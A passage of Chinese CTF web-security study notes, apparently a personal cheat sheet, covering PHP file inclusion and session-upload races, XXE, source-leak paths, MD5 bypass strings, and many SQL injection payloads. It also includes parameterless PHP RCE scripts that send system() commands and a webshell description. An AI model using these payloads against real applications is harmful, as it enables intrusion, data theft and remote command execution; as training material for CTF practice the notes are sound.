,那么对应的文件就会上传到/tmp/sess_TGAO
,可以看出文件后面的字段是可以被控制的 -
基本思路
先向指定页面构造一个上传文件的包,然后在包中修改
PHP_SESSION_UPLOAD_PROGRESS
内容,包含命令执行POST[2]
,然后对该临时文件进行包含,然后就可以利用post[2]
进行命令执行,要利用2
参数在指定路径下生成一个后门文件,其中有eval()
函数执行,然后访问该文件,POST
入想要执行的命令就行当然,
SESSION
文件临时存在,文件上传完成之后就会进行删除,所以要利用条件竞争先包含到文件进行命令执行,具体脚本见脚本
模块
包含方法
即使是访问,如果是从url
进行注入范根,内容是经过一次编码之后记录到日志文件中的,所以无法进行包含执行语句,不完整。即使编码之后传进去,编码只有进入到PHP中才会进行解码,但是记录到日志文件是在进入PHP
之前的一个步骤,所以日志文件中还是不可以利用的语句。
但是如果是从UA头
进行注入的,那么内容就不会经过编码,会直接记录到日志文件中。
文件开头exit绕过
(谈一谈php://filter的妙用)[https://www.leavesongs.com/PENETRATION/php-filter-magic.html]
概述
常见题目形式是写入文件时在文件头加一句<?php exit();?>
,这样就无法执行后面的语句,但是通过base64
特性可以绕过这个死亡exit
。
base64
base64
中只包含64个可打印字符,所以如果对内容进行解码的时候,非base64
字符(<>?();
)就会被过滤成为phpexit
七个字符,但是base64
解码是4个byte一组,所以上传内容时在前面多加一个字符让phpexitx
解码错误,但是后面的语句还可以正常执行。
php://filter/convert.base64-decode/resource=s1mple.php
XSS
https://www.cnblogs.com/digdeep/p/4695348.html
XXE
https://blog.csdn.net/qq_52907838/article/details/118030007
-
概念
XXE漏洞全称XML External Entity Injection 即XML外部实体注入。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
-
利用
与SQL相似,XXE漏洞也分为有回显和无回显
有回显,可以直接在页面中看到payload的执行结果或现象。
无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。
即可以引用远程服务器上的XML文件读取文件。
解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。
-
例子
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/passwd"> ]> <user><username>&admin;</username><password>123456</password></user> -----------------------------------------------------
payload解释:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。standalone
值是yes
的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。按实体有无参分类,实体分为一般实体和参数实体,一般实体的声明:
<!ENTITY 实体名称 "实体内容">
,引用一般实体的方法:&实体名称;
外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。
因为将
file:///flag命名为admin
,所以下面用&admin
。PHP引用外部实体,常见的利用协议:
file://文件绝对路径 如:file:///etc/passwd http://url/file.txt php://filter/read=convert.base64-encode/resource=xxx.php
```
源码泄露
常用备份文件后缀
-
.phps
phps
文件就是php
的源代码文件,通常用于提供给用户(访问者)查看php
代码,因为用户无法直接通过浏览器看到php
文件内容,所以需要用phps
文件代替。 它的MIME类型为:text/html, application/x-httpd-php-source, application/x-httpd-php3-source。 - .rar
-
.zip
www.zip(网站源码文件)
-
.7z
-
.tar.gz
-
.bak
-
.swp
-
.txt
- .html
源码泄露
.hg源码泄漏
hg init
的时候会生成.hg
工具:dvcs-ripper
rip-hg.pl -v -u http://
.git源码泄漏
url/.git
.DS_Store文件泄漏
SVN导致文件泄露
.svn
CVS泄漏
vim文件泄露
默认情况下使用vim编程,在修改文件后系统会自动生成一个带~
的备份文件,某些情况下可以对其进行下载查看index.php~
vim
中的swp
即swap文件
,在编辑文件时产生,它是隐藏文件,如果原文件为submit
,则它的链式文件为.submit.swp
,如果文件正常退出,则此文件自动删除。
WEB-INF/web.xml泄露
- 概念
`WEB-INF`是`Java`的`WEB应用的安全目录`。所谓安全就是`客户端无法访问`,只有`服务端可以访问`的目录。如果想在页面中直接访问其中的文件,必须通过`web.xml`文件对要访问的文件进行`相应映射`才能访问。
`Java Servlet` 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。
* `servlet`
使用 `Servlet`,您可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。
* Servlet 执行以下主要任务:
读取客户端(浏览器)发送的显式的数据。这包括网页上的 HTML 表单,或者也可以是来自 `applet` 或自定义的 HTTP 客户端程序的表单。
读取客户端(浏览器)`发送的隐式的 HTTP 请求数据`。这包括 cookies、媒体类型和浏览器能理解的压缩格式等等。
处理数据并生成结果。这个过程可能需要访问数据库,执行 RMI 或 CORBA 调用,调用 Web 服务,或者直接计算得出对应的响应。
`发送显式的数据(即文档)到客户端(浏览器)`。该文档的格式可以是多种多样的,包括文本文件(HTML 或 XML)、二进制文件(GIF 图像)、Excel 等。
`发送隐式的 HTTP 响应到客户端(浏览器)`。这包括告诉浏览器或其他客户端被返回的文档类型(例如 HTML),设置 cookies 和缓存参数,以及其他类似的任务。
-
包含内容
/WEB-INF/web.xml
Web应用程序配置文件,描述了servlet
和其他得应用组件配置及命名规则/WEB-INF/classes/
包含了站点所有用的class
文件,包括servlet class
和非servlet class
,他们不能包含在.jar
文件中(是该目录不能包含在.jar
文件中)/WEB-INF/lib/
存放web应用
需要的各种JAR文件,放指仅在这个应用中要求使用的jar 文件,如数据库驱动jar文件
/WEB-INF/src/
源码目录,按照包名结构放指各个java
文件。/WEB-INF/database.properties
数据库配置文件/WEB-INF/tags/
存放了自定义标签文件,该目录并不一定为taags
,可以根据自己的喜好和习惯为自己的标签文件库命名,当使用自定义的标签文件库名称时,在使用标签文件时就必须声明正确的标签文件库路径。/WEB-INF/jsp/
jsp 1.2 以下版本的文件存放位置。改目录没有特定的声明,同样,可以根据自己的喜好与习惯来命名。此目录主要存放的是 jsp 1.2 以下版本的文件,为区分 jsp 2.0 文件,通常使用 jsp 命名,当然你也可以命名为 jspOldEdition 。/WEB-INF/jsp2/
与 jsp 文件目录相比,该目录下主要存放 Jsp 2.0 以下版本的文件,当然,它也是可以任意命名的,同样为区别 Jsp 1.2以下版本的文件目录,通常才命名为 jsp2。META-INF
相当于一个信息包,目录中的文件和目录获得Java 2平台的认可与解释,用来配置应用程序、扩展程序、类加载器和服务 manifest.mf文件,在用jar打包时自动生成。 -
利用方法
通过找到
web.xml
文件,推断class文件
的路径,最后直接下载class文件
,在通过反编译class文件
,得到网站源码
数据库泄露
asp+access
/db/db.mdb
松散比较
当字符串与数字类型进行比较的时候,会将字符串转换为数字类型再进行比较
123=='123a'
- intval() 返回参数整数值
常见函数绕过
md5函数绕过
参见MD5绕过的技巧
-
MD5函数特性
$str1 = $_GET['str1']; $str2 = $_GET['str2']; if (md5($str1) == md5($str2)){ die('OK'); }
通过构造经过
MD5
加密后为0e
开头的字符串会被认定为0
的科学计数法,不管多少次方都为0
,从而达成等价条件-
MD5值为
0e
开头的字符串QNKCDZO 240610708 s878926199a s155964671a s214587387a
-
MD5值和双MD5值开头都为
0e
CbDLytmyGm2xQyaLNhWn 770hQgrBOjrcqftrlaZk 7r4lGXCH2Ksu2JNT3BYM
-
sha1值为
0e
开头绕过sha1函数也可以传数组,弱比较 aaK1STfY aaO8zKZF
-
-
PHP特性
上面的代码用到的是
==
(弱比较、松散比较),现在使用===
(严格比较)$str1 = $_GET['str1']; $str2 = $_GET['str2']; if (md5($str1) === md5($str2)) { die('OK'); }
强比较不仅比较两者的值,还会比较两者的类型 而弱比较进行值比较之前还会先转化为相同类型
- 这时候可以使用传数组的方法,使得
md5
函数返回NULL
,然后两false等价,绕过对比
- 这时候可以使用传数组的方法,使得
-
MD5碰撞
$str1 = (string)$_GET['str1']; $str2 = (string)$_GET['str2']; if (md5($str1) === md5($str2)) { die('OK'); }
有
string
强制类型转换,传数组不可行,这里需要MD5碰撞
,给两个内容不同但是MD5值
相同的文件,使用fastcoll
进行相同值md5文件生成,非常迅速a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
两者变成这样这样就可以绕过⬆爆出来的
-
绕过
md5()
构造攻击语句利用字符串生成md5值,md5值某一部分经16进制转换成为SQl语句闭合,mysql正好把它当作16进制字符串解析,从而造成闭合问题达成注入
select * from 'admin' where password=md5($pass,true)
- 常用字段
129581926211651571912466741651878684928
md5再16进制为ڔ0D㟁'or'8
ffifdyop
md5再16进制为'or'6ɝ⬹�
SQL注入
SQL注入一方面主要是考虑如何构造第二个查询语句,不要局限于第一个语句
右查询
right join
将返回右表中所有记录,不管前表中有没有
堆叠注入
ctfshow 195
- 用法
将所有的语句一次性输入完毕,否则SQL语句可能出现找不到表名的错误
```php
username=0x61646d696e;update`ctfshow_user`set`pass`=0x313131;&password=0x313131
``` ### Handler >https://www.cnblogs.com/gaonuoqi/p/12398554.html >ctfshow 225、强网杯2018随便注 * 概念
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
-
用法
利用
handler
方法,其作用是HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭,也就是可以通过这种方法直接访问表中的内容/api/?username=';show tables;-- - /api/?username=';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa` read first;-- - `1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#`
预处理
https://blog.csdn.net/solitudi/article/details/107823398?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522160652999219721940215459%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=160652999219721940215459&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_blog_default-1-107823398.pc_v2_rank_blog_default&utm_term=%E5%BC%BA%E7%BD%91%E6%9D%AF&spm=1018.2118.3001.4450 ctfshow 226、ctfshow 228-230、强网杯2018随便注
-
概念
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。 MySQL 预处理语句的支持版本较早,所以我们目前普遍使用的 MySQL 版本都是支持这一语法的。
-
方法
PREPARE name from '[my sql sequece]'; //预定义SQL语句 EXECUTE name; //执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句
?username=user1';PREPARE sprint from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;EXECUTE sprint;
十六进制为(select group_concat(table_name) from information_schema.tables where table_schema=database())注意,转十六进制使用https://www.sojson.com/hexadecimal.html,BEJSON有点不准
宽字节注入
-
原理
宽字节占用两个字节,普通字符占用一个字节,而页面在解码的时候将一个宽字节分为两个普通字节来解码,导致包含单引号的字节逃逸
%D3%27
导致分开解码,后面的单引号逃逸
报错注入
-
floor()
floor()
函数作用是返回小于等于
该值的最大整数,只保留整数部分rand()
函数作用,生成一个大于等于0
,小于所给参数的值,默认生成[0,1)
rand(0)
生成伪随机数,每次生成的随机数都是一样的,所以利用这一特点报错注入group by
函数特性:进行数据整合之前会将每行数据逐条读入一个虚表中,先根据数据库中的内容对虚表进行查询,如果虚表内没有这一条数据就进行插入操作,如果有就更新count(*)
(自己加的函数),经过rand()
计算伪随机数造成查询插入两个过程的键值不一样,将0键值插入到虚表的1键值上导致键值重复而产生的报错- 用法
floor(rand(0)*2)
生成的伪随机数列为0,1,1,0,1,1
(这前六位是固定的)select null,count(*),group_concat((select database()),floor(rand(0)*2)) as a from information_schema.schemata group by a --+
-
updatexml()
updatexml(XML_DOCUMENT,X_PATH_STRING,new Value)
是这个函数的正确用法,当用户输入与其格式不符的数据时就会发生报错,常用方法updatexml(1,(concat('~',(select database()),'~')),1)
updatexml(1,concat('~',(select(group_concat(left(password,30)))from(H4rDsq1)),'~'),1)#
-
extractvalue()
extractvalue(XML_DOCUMENT,X_PATH_String)
是这个函数的正确用法
concat是针对以行数据做的拼接,而group_concat是针对列做的数据拼接,且group_concat自动生成逗号。
-
报错注入显示字符串长度限制
updatexml函数返回32个字符
利用
left
和right
左右拼接
UPDATE 注入
ctfshow 231
- 概念
不同于平常的查询语句,注入点出现在更新语句UPDATE中,使得查询结果能够展现在列数据库信息的位置
-
实例
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
payload:
password=1'),username=(select group_concat(flagass) from flagaa) where 1=1#&username=1
盲注
Bool盲注
ctfshow 190
-
left($x,y,z)
从字符串x的第y个位置截取z个字符,如果没有设置z,就默认为从第y个字符截取到末尾
-
chr()
将对应的ascii码转为字符
-
ascii()
获取字符的ascii码值 与之功能相同的函数是
ord()
-
ord()
获取字符的ascii码值
-
length()
获取字符串长度
-
substr($string,0,1)
从字符串
string
的第一个位置截取长度为1的字符串
时间盲注
-
sleep(x)
页面休眠
x
秒 -
benchmark(,sha(1))
https://www.cnblogs.com/c1e4r/articles/9060525.html
benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式
通过数次执行后面函数来起到延时的作用
select benchmark(10500000,md5('a'));
1.5秒select benchmark(15000000,md5('a'));
2.18秒 -
heavy query
https://www.sqlinjection.net/heavy-query/ 顾名思义以就是通过大量的查询导致查询时间较长来达到延时的目的,通常选择一些比较大的表做笛卡尔积运算
-
注意
python2
中,/
表示浮点数除法,返回一个浮点数结果,//
表示整数除法,要引入from __future__ import division
python3
中含义不变,不需要引入库
函数存储过程
[MySQL——查看存储过程和函数]https://blog.csdn.net/qq_41573234/article/details/80411079 ctfshow 227
-
查看存储过程和函数的状态
show {PROCEDURE | FUNCTION} STATUS [LIKE 'pattern']
SHOW STATUS 语句是 MySQL 的一个扩展。它返回子程序的特征,如数据库、名字、类型、创建者及创建和修改日期。如果没有指定样式,根据使用的语句,所有的存储程序或存储函数的信息都会被列出。PROCEDURE 和 FUNCTION 分别表示查看存储过程和函数;LIKE 语句表示匹配存储过程或函数的名称。
-
查看存储过程和函数的定义
除了
SHOW STATUS
之外,还可以使用SHOW CREATE
语句查看存储过程和函数的状态。SHOW CREATE {PROCEDURE | FUNCTION} sp_name
SHOW CREATE 语句是Mysql 的一个扩展,类似于SHOW CREATE TABLE ,它返回一个可用来重新创建已命名子程序的确切字符串。PROCEDURE 和 FUNCTION分别表示查看存储过程和函数;LIK语句表示匹配存储过程或函数的名称。
-
查看存储过程和函数的信息
在 MySQL 中,存储过程和函数的信息存储在
information_schema
数据库下的Routines 表
中,可以通过查询该表的记录来查询存储过程和函数的信息,其基本的语法形式如下:SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME='sp_name';
其中,ROUTINE_NAME字段种存储的是存储过程和函数的名称;sp_name参数表示存储过程或函数的名称。
其他注
[没见过的注入?]https://www.gem-love.com/ctf/2283.html#%E4%BD%A0%E6%B2%A1%E8%A7%81%E8%BF%87%E7%9A%84%E6%B3%A8%E5%85%A5
limit 注入(PROCEDURE)
-
PROCEDURE analyse()
https://www.jb51.net/article/99980.htm 是MySQL内置的对MySQL字段值进行统计分析后给出建议的字段类型
-
语法
procesure analyse(max_elements,max_memory)
max_elements
指定每列非重复值的最大值,当超过这个值的时候,MySQL不会推荐enum类型。
max_memory
analyse()为每列找出所有非重复值所采用的最大内存大小。
-
payload
limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
group by 注入
-
概念
group by 用来结合合计函数,根据一个或者多个列对结果集进行分组
文件名注入
-
文件名传入数据库,查询导致注入,见题发挥
payload.bin
,写入一句话,适用于截取文件type并显示的题
无列名注入
ctfshow 235 236 https://zhuanlan.zhihu.com/p/98206699
- 概述
无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。
-
操作
payload:`select `3` from (select 1,2,3 union select * from admin)a;`
原本的列名是id,username,password,使用第一个
select
之后就将列名命名为1,2,3,再select *
就会将所有信息输出但是列名变为1,2,3,所以选中3就是选中了password一列 -
换别名
当然,多数情况下,
会被过滤。当
不能使用的时候,使用别名来代替:payload:`select b from (select 1,2,3 as b union select * from admin)a;`
-
同时查多个列
payload:`select concat(`2`,x02d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;`
概述Mysql信息
ctfshow 235 236 概述MySQL信息
-
查询位置1
mysql.innodb
持久化统计信息保存在表
mysql.innodb_table_stats
和mysql.innodb_index_stats
payload:
username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())-- - &password=\
username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)-- - &password=\
username=,username=(select
2from(select 1,2,3 union select * from flag23a1 limit 1,1)a)-- - &password=\
-
查询位置2
sys schema
其中
-
sys.schema_auto_increment_columns
可以实现对表自增ID的监控,也可以发现我们可以通过该视图获取数据库的表名信息
payload:
-1' union all select 1,2,group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()--+
-
sys.schema_table_statistics_with_buffer
上一个试图总并没有出现的表名在这里出现
payload:
?id=-1' union all select 1,2,group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()--+
-
processlist
该表可以读取正在执行的
sql
语句,从而得到表名和列名
-
常用函数
locate(substr,string)
ctfshow 194
返回字符串string第一次出现子字符串的位置
-
chr()
将字符转为16进制
-
replace()
替换内容,可以用来绕过对结果显示的过滤
load_file()
//ctfshow 189https://www.cnblogs.com/blacksunny/p/8060028.html 知道系统绝对路径且具有读取权限
绕过过滤
-
如果
limit
处逗号被过滤使用
limit 1 offset 0
代替 -
如果
substr\left\mid
中的逗号被过滤使用
from xxx for xxx
代替原来:
substr({payload},1,1)
现在:substr({payload} from 1 for 2)
-
or
或者information
被过滤参见概述Mysql信息模块使用的两个数据库(mysql>5.7),sys schema和innodb schema两个数据库
-
=
和like
被过滤用正则匹配方法
regexp()
绕过 -
if
被过滤用
case when
代替payload:
id=1^case%0aascii(substr(database(),1,1))when(102)then 2 else 3 end
-
反斜杠绕过单引号过滤
ctfshow 235
前提是两个参数可控
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
可以传password为
1\
,这样pass的单引号就被转义导致将原先后面的语句包括,变为pass='1\'where username ='
,然后就在username进行注入,需要重新加一个username=,因为原先的变成password的一部分了payload:
# username=,username=(select group_concat(table_name) from information_schema.columns where table_schema=database())-- - &password=\
-
正则没加
/i
修饰符尝试大小混写绕过
-
过滤去除匹配项
尝试双写绕过
-
空格过滤
-
()
代替考虑用报错注入,可以不用空格,
select
的内容可以用括号()
括住,eg:select(database())
-
/**/
代替 -
/*!...*/
内联注释代替在mysql中
/*! ....*/
不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/*!....*/
中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行 -
%0a\%0b\%0c...
-
-
敏感字符过滤
url编码绕过? 十六进制转换绕过 ascii编码绕过
`Test=char(101)+char(97)+char(115)+char(116)`
-
等价符号替代
=
–>like
^
–>or
–>||
(||
在MySQL中可以起到拼接的作用)&&
–>and
小技巧
-
group by + with rollup
知识盒子骚操作总结
group by
将结果集中的数据行根据选择列的值进行逻辑分组with rollup
(group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计) -
where
的替代与where具有相同作用的还有
on
、like
-
快速判断注入类型
使用 2+2 如果正常查询4内容,就是数字,反之字符
-
select to_base64()
将查询内容转换为base64进行输出
-
十六进制
数据库中十六进制也可以用来当作键值
-
^
数据库中可以在查询值中用异或运算符
-
or
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
可以使用
0'or(id=26)and'a'='a
进行绕过,用或条件,用于空格所有被过滤,无法创造一个完整的新语句,就得利用之前给到的语句。 -
where xxxx=0
查询所有数据select * from test where username =0 可以查出表中所有的记录,因为在username和0比较的时候进行弱比较,字符串转为0,这样一来就构成了0=0,所以查询成功
-
regexp
mysql可以使用正则表达式对结果进行过滤
无参数RCE
前言
总体利用思路:
- 超全局变量进行bypass,进行RCE
- 进行任意文件读取
概念
通常情况下我们都是利用一句话木马传参数进行getshell
,eval(system('ls /'));
但是如果对GET
参数进行正则校验就会将输入的参数过滤掉
/[^\W]+\((?R)?\)/
只允许执行a(b(c()));或者a();
,但是不允许a('123')
,没有参数进行命令执行就会变得困难。
-
超全局变量
PHP中许多预定义变量都是”超全局的”,这意味着他们在一个脚本的全部作用域中都可用,在函数或者方法中无需执行
flobal $variable;
就可以访问他它们。
使用
getenv办法
-
getenv
获取一个环境变量的值,可以获取当前环境变量
-
array_rand()
从数组中随机抽取一个或者多个单元(伪随机),这样获取的是数组中的
键
-
array_flip()
交换数组中的键和值
getallheaders()
-
getallheaders()
在
apache2
环境中 可以将获取http头
中的所有信息,而在http请求头中我们可以自定义属性和其值
,就像添加XFF那样,添加sky:system('ls /tmp')
进行RCE
get_defined_vars()
使用getallheaders()其实具有局限性,因为它是apache2函数,如果目标中间件部位apache,那么这种方法就会失效,更好的选择是ger_defined_vars()
这种方法可以将变量进行回显,包括全局变量$_GET,$_POST,$_FILES,$_COOKIE
%url%/index.php?code=var_dump(current(get_defined_vars()));&sky=123
这样就会把sky参数回显出来,利用这一特性,我们可以给参数赋恶意值,然后使用此函数对相应参数进行打印执行。
current() 返回数组中的当前单元, 默认取第一个值。
为了绕过get,post,cookie三种参数的多重过滤,可以从files参数下手,前辈写的脚本如下
import requests
from io import BytesIO
payload = "system('ls /tmp');".encode('hex')
files = {
payload: BytesIO('sky cool!')
}
r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
print r.content
session_id()
该函数可以获取/设置当前会话id。PHPSESSID允许字母和数字出现。
-
hex2bin
将十六进制转换为ASCII字符
echo hex2bin("48656c6c6f20576f726c6421"); Hello World! ⬇ 5044383959474e6864434171594473 ⬇ PD89YGNhdCAqYDs <?=`cat *`;
mport requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content
dirname()&chdir()
如果不能RCE
便尝试能不能直接读取文件,要进行目录遍历
-
getcwd()
用于获取当前目录
?code=var_dump(getcwd()); string(13) "/var/www/html"
-
scandir()
这个函数其实在
sql注入
中也用过?code=var_dump(scandir(getcwd())); array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }
-
dirname()
返回路径中的目录部分,也就是说将路径中的最后一部分去掉 目录回溯,上级目录
?code=var_dump(scandir(dirname(getcwd())));
-
chdir()
更改当前目录为指定路径
chdir(string $directory):bool
chdir(dirname(getcwd()))
这样就可以切换当前目录到上级目录 -
localeconv()
返回一包含本地数字及货币格式信息的数组,数组第一项是
.
,可以代表当前目录的意思 -
current()
返回数组中的当前单元,默认取第一个值,这个函数和上一个函数一结合,返回的就是
.
这个函数的别名是
pos()
-
next()
将数组内部指针指向前移动一位
-
end()
将数组内部指针指向最后一个单元
-
each()
返回数组中当前的键/值对,并将数组指针向前移动一位
-
prev()
将数组的内部指针倒回一位
-
reset()
将数组的内部指针指向第一个单元
-
session_start()
session_start()告诉PHP使用session,php默认不主动使用session
-
shell_exec()
缩写就是(
),其中的内容可以被执行,适用于
php eval(substr($F,0,6)); 传参$F=
$F`;+curl xxxxx 能绕过字符串截取
# PHPINFO()关注点
* auto_append_file
自动包含文件
# JAVA
## Javan基础
### servlet
Servlet是在 Java Web容器中运行的小程序,通常我们用Servlet来处理一些较为复杂的服务器端的业务逻辑。Servlet是Java EE的核心,也是所有的MVC框架的实现的根本!
## Struts 2
* 概念
Struts是一个基于MVC设计模式的Web应用框架,它本质上相当于一个`servlet`,在MVC设计模式中,Struts2作为控制器来建立模型与视图的数据交互。Struts2是Struts的下一代产品,是在Struts1和WebWork的技术基础上进行了合并都得1全新Struts2框架,其全新的Struts2的体系结构与Struts1的体系结构差别巨大。Struts2以WebWork位核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts2可以理解位WebWork都得更新产品。
### S2-001
# 模板注入
## 思路图
![](https://gitee.com/i404notforget/sprint/raw/master/img/20210611200627.png)
## 常用payload
* Twig(PHP模板语言)
``
* smarty
在相应注入点``
# 暴力破解
## burpsuite
### 爆破模式
* sniper
适用于单个爆破位置,将所有`payload`在同一位置进行尝试
* battering ram(攻城锤)
多个位置,同时使用相同`payload`
* pitch fork(草叉)
多个位置,每个位置都需要配置字典,爆破时各个位置分别使用自己列表中相同位置的`payload`
```php
position1:1,2
position2:3,4
=>1,3 =>2,4
```
* cluster bomb
多个位置,使用笛卡尔乘积尝试`payload`,遍历每一种可能的请求结果
```php
position1:1,2
position2:3,4
=>1,3 =>1,4 =>2,3 =>2,4
```
### payload type
* custom iterator(自定义迭代器)
支持不同位置`payload`进行拼接,分别设置不同位置使用多个`payload`,然后拼接起来统一进行处理
使用迭代器的时候攻击位置为`1`就可以了
### payload processing
* 增加一种新的处理(编码)方式对`payload`进行处理
# 流量包分析
>(CTF-流量包分析get flag思路)[https://www.jianshu.com/p/a5dc4f6cf3f8]
## binwalk判断是否传输文件
`binwalk xxx.xxx`查看具体信息
`binwalk -e xxx.xxx`将其中的文件释放
## file 查看具体文件类型
`file xxx.xxx`
## strings提取文件内字符
`strings xxx.xxx|grep -a flag`提取flag字样字符
`strings xxx.xxx | base64 -d`base64解码获得的内容
# 常见命令
## linux
* 读文件
* `cat`
正序读文件,从第一行
* `tac`
反向读文件,从尾行向上读取
* `more/less`
适应窗口大小输出文件内容
`less`还可以翻页
* find
`find / -name xxx`
* tee
`ls / | tee 3 `将结果输出到3文件
## 注
* `php`+`linux`
```php
$c=$_GET['c'];
eval($c);
======>
echo `find / -name fl\ag.php`;
```
# 正则匹配
## 修饰符元字符
. 匹配除换行符以外的任意字符
\w 匹配字母或数字或下划线或汉字 等价于 '[^A-Za-z0-9_]'。
\s 匹配任意的空白符
\d 匹配数字
\b 匹配单词的开始或结束
^ 匹配字符串的开始
$ 匹配字符串的结束
\w 能不能匹配汉字要视你的操作系统和你的应用环境而定
# 其他
## 管道符
* `&`
命令后加&表示将进程放在后台
* `&&`
前一条命令成功执行才执行后一条命令
* `|`
将上一条命令的输出作为下一条命令的输入
* `||`
上一条命令执行失败之后才会执行下一条命令
* `>`
将内容作为标准输出信息*覆盖*写入某一位置
* `>>`
将内容作标准输出信息*追加*写到某一位置
* `<`
将内容作标准输入流读入前命令
* `<< xxx`
从某位置读入输入信息,直到匹配道与xxx相同的内容然后停止
* `&>`
不管命令执行结果是正确信息还是错误信息都覆盖输入到xxx
* ``
## 语言特性
* `php`反引号
`php`中反引号中的内容会当作命令执行,和`system()`有着相似的作用
* `file_get_contents()`
函数将文件内容读取为字符串形式,所以说这个函数可以结合`data://`伪协议,该伪协议是将文本内容进行输出,这样一结合就可以包含自己想要的内容
* `include()`
可以包含文件包含变量,或者引入其他内容
* `<?=?>`
`php`短标签,`<?php ?>`是长标签,在php的配置文件`(php.ini)`中有一个`short_open_tag`的值,开启后可以使用PHP短标签`<??>`
同时,只有开启这个才可以使用`<?=`代替`<? echo` <??>
但是短标签是不推荐的,使用`<?php ?>`才是规范的方法,只是因为这种短标签使用的时间比较长,这种特性才被保存下来。
* `./flag.php`
结合目录访问特性绕过全字正则匹配
* `ereg`
匹配字符串中的指定内容,存在NULL截断漏洞,可以用%00绕过
* `eregi`
不区分大小写的匹配,二次url编码绕过
* `GLOBALS`
全局变量,可以用来赋值,然后`var_dump`
* `_`函数
`gettext()`函数的别名,返回文本信息
## 代码执行函数集合
* `eval`
* `preg_replace+/e`
* `assert`
* `call_user_func($参数,$函数)`
`call_user_func_array()`
* `create_function($参数,$函数)`
适用范围:PHP4>=4.0.1 PHP5 PHP7
创建一个新的匿名函数,并将第一个变量作为参数传给函数,为其返回唯一名称
```php
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>
```
* `array_map()`
将用户自定义函数作用到数组中每个值上
```php
<?php
//?func=system&cmd=ipconfig
$func=$_REQUEST['func'];
$cmd=$_REQUEST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
?>
```
* `array_filter`
`array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array`
依次将array数组中的每个值传递到callback函数,如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。
```php
<?php
//?func=system&cmd=whoami
$cmd=$_REQUEST['cmd'];
$array1=array($cmd);
$func =$_REQUEST['func'];
